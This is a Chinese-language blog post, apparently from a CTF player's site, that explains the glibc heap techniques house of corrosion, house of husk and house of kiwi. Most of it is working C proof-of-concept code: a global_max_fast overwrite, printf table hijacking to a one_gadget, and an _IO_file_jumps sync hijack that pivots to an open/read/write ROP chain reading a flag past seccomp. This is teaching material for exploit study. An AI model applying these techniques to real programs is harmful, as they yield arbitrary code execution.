house of corrosion/husk/kiwi
196082 慢慢好起来

这篇文章过后估计就会慢下来更新了,内核一直拖着没学,再就是自己逆向能力很差所以也打算多练点题了,因为时间关系这篇文章我就少一点源码的讲解了。

house of corrosion

在large bin attack和tcache stashing unlink当中我们可以实现任意地址写入很大的数,那么我们写入这个数的作用是什么呢?

这一利用方式就是通过其他攻击方式修改global_max_fast的值为一个很大的值,这就导致我们生成的chunk为一个fast bin chunk,然而chunk在进入fast bin时是遵循一定规律的,free时会根据size进入到相应的地址,这也就促使我们可以进一步利用了。

首先这里的计算公式为:

1
chunk size = ((target - main_arena) * 2) - 0x10

第一种方式也就是在fastbinY后的任意地址写入堆地址

image-20220308171542436

当我们取出这个chunk时,会将fd指针留在相应的位置,所以如果存在UAF就可以更进一步的实现任意地址写任意值

image-20220308171727077

下面是以上两个方法的poc可以直接在glibc2.31下使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <string.h>

#define offset2size(ofs) ((ofs)*2 - 0x10)
#define MAIN_ARENA 0x1ebb80
#define MAIN_ARENA_DELTA 0x60
#define GLOBAL_MAX_FAST 0x1eeb80
#define PRINTF_FUNCTABLE 0x1f0ff8
#define PRINTF_ARGINFO 0x1f1350
#define ONE_GADGET 0xe6c81

int main(void)
{
unsigned long libc_base;
char *ptr0;
char *ptr1;
char *ptr2;
setbuf(stdout, NULL);

ptr0 = malloc(0x500);
ptr1 = malloc(offset2size(PRINTF_FUNCTABLE - MAIN_ARENA));
ptr2 = malloc(offset2size(PRINTF_ARGINFO - MAIN_ARENA));
free(ptr0);
libc_base = *(unsigned long *)ptr0 - MAIN_ARENA - MAIN_ARENA_DELTA;

uint64_t *aaa = libc_base + GLOBAL_MAX_FAST;
*aaa = ptr0;
free(ptr1);
free(ptr2);
strcpy(ptr1, "aaaaaaaa");
malloc(offset2size(PRINTF_FUNCTABLE - MAIN_ARENA));

return 0;
}

house of husk

这一堆利用主要针对的是printf的利用链,具体链子不再关心,我们的最终效果是劫持__printf_function_table__printf_arginfo_table到我们堆地址,然后伪造格式化字符串对应的地址的值one_gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>

#define offset2size(ofs) ((ofs) * 2 - 0x10)
#define MAIN_ARENA 0x1ebb80
#define MAIN_ARENA_DELTA 0x60
#define GLOBAL_MAX_FAST 0x1eeb80
#define PRINTF_FUNCTABLE 0x1f0ff8
#define PRINTF_ARGINFO 0x1f1350
#define ONE_GADGET 0xe6c81

int main (void)
{
unsigned long libc_base;
char *a[10];
setbuf(stdout, NULL);


a[0] = malloc(0x500);
a[1] = malloc(offset2size(PRINTF_FUNCTABLE - MAIN_ARENA));
a[2] = malloc(offset2size(PRINTF_ARGINFO - MAIN_ARENA));
a[3] = malloc(0x500);
free(a[0]);
libc_base = *(unsigned long*)a[0] - MAIN_ARENA - MAIN_ARENA_DELTA;
printf("libc @ 0x%lxn", libc_base);


*(unsigned long*)(a[2] + ('X' - 2) * 8) = libc_base + ONE_GADGET;

uint64_t *aaa=libc_base+GLOBAL_MAX_FAST;
*aaa=a[0];


free(a[1]);
free(a[2]);

printf("%X", 0);

return 0;
}

最终实现的就是污染掉__printf_arginfo_table但是另一个table也不能为null所以也伪造上,不过不需要弄什么数据。

具体过程大家可以去调试,这里用到了house of corrosion

house of kiwi

这一调用链通过触发__malloc_assert,调用fflush进而调用stderr中的_IO_file_jumps中的sync指针

触发的方式也会有很多种,这里常用的就是在验证top chunk中的一种,house of force这篇文章中利用这是需要绕过这一assert,可以去看一下是什么assert

gdb调试assert时发现fflush调用的是位于_IO_file_jumps中的_IO_file_sync指针,且观察发现RDX寄存器的值为IO_helper_jumps指针,多次调试发现RDX始终是一个固定的地址

如果存在一个任意写,通过修改 _IO_file_jumps + 0x60_IO_file_sync指针为setcontext+61
修改IO_helper_jumps + 0xA0 and 0xA8分别为可迁移的存放有ROP的位置和ret指令的gadget位置,则可以进行栈迁移

image-20220311103015542

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <unistd.h>
#include <sys/prctl.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#define pop_rdi_ret libc_base + 0x000000000002858F
#define pop_rdx_r12 libc_base + 0x0000000000114161
#define pop_rsi_ret libc_base + 0x000000000002AC3F
#define pop_rax_ret libc_base + 0x0000000000045580
#define syscall_ret libc_base + 0x00000000000611EA
#define ret pop_rdi_ret+1
size_t libc_base;
size_t ROP[0x30];
char FLAG[0x100] = "./flag.txt\x00";
void sandbox()
{
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
struct sock_filter sfi[] ={
{0x20,0x00,0x00,0x00000004},
{0x15,0x00,0x05,0xC000003E},
{0x20,0x00,0x00,0x00000000},
{0x35,0x00,0x01,0x40000000},
{0x15,0x00,0x02,0xFFFFFFFF},
{0x15,0x01,0x00,0x0000003B},
{0x06,0x00,0x00,0x7FFF0000},
{0x06,0x00,0x00,0x00000000}
};
struct sock_fprog sfp = {8, sfi};
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &sfp);
}

void setROP()
{
uint32_t i = 0;
ROP[i++] = pop_rax_ret;
ROP[i++] = 2;
ROP[i++] = pop_rdi_ret;
ROP[i++] = (size_t)FLAG;
ROP[i++] = pop_rsi_ret;
ROP[i++] = 0;
ROP[i++] = syscall_ret;
ROP[i++] = pop_rdi_ret;
ROP[i++] = 3;
ROP[i++] = pop_rdx_r12;
ROP[i++] = 0x100;
ROP[i++] = 0;
ROP[i++] = pop_rsi_ret;
ROP[i++] = (size_t)(FLAG + 0x10);
ROP[i++] = (size_t)read;
ROP[i++] = pop_rdi_ret;
ROP[i++] = 1;
ROP[i++] = (size_t)write;
}
int main() {
setvbuf(stdin,0LL,2,0LL);
setvbuf(stdout,0LL,2,0LL);
setvbuf(stderr,0LL,2,0LL);
sandbox();
libc_base = ((size_t)setvbuf) - 0x81630;
printf("LIBC:\t%#lx\n",libc_base);

size_t magic_gadget = libc_base + 0x53030 + 61; // setcontext + 61
size_t IO_helper = libc_base + 0x1E48C0; // _IO_hel
per_jumps;
size_t SYNC = libc_base + 0x1E5520; // sync pointer in _IO_file_jumps
setROP();
*((size_t*)IO_helper + 0xA0/8) = ROP; // 设置rsp
*((size_t*)IO_helper + 0xA8/8) = ret; // 设置rcx 即 程序setcontext运行完后会首先调用的指令地址
*((size_t*)SYNC) = magic_gadget; // 设置fflush(stderr)中调用的指令地址
// 触发assert断言,通过large bin chunk的size中flag位修改,或者top chunk的inuse写0等方法可以触发assert
size_t *top_size = (size_t*)((char*)malloc(0x10) + 0x18);
*top_size = (*top_size)&0xFFE; // top_chunk size改小并将inuse写0,当top chunk不足的时候,会进入sysmalloc中,其中有个判断top_chunk的size中inuse位是否存在
malloc(0x1000); // 触发assert
_exit(-1);
}

可以看到就只是劫持了sync为setcontext+61然后就是通过IO_helper控制rdx进而控制其他所有寄存器,实现ROP

例题的话,后续会更一篇NULL_FxCK,因为用的Glibc为2.32所以会出现一系列问题,所以不增加这篇文章篇幅了


参考链接:https://www.anquanke.com/post/id/235598

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量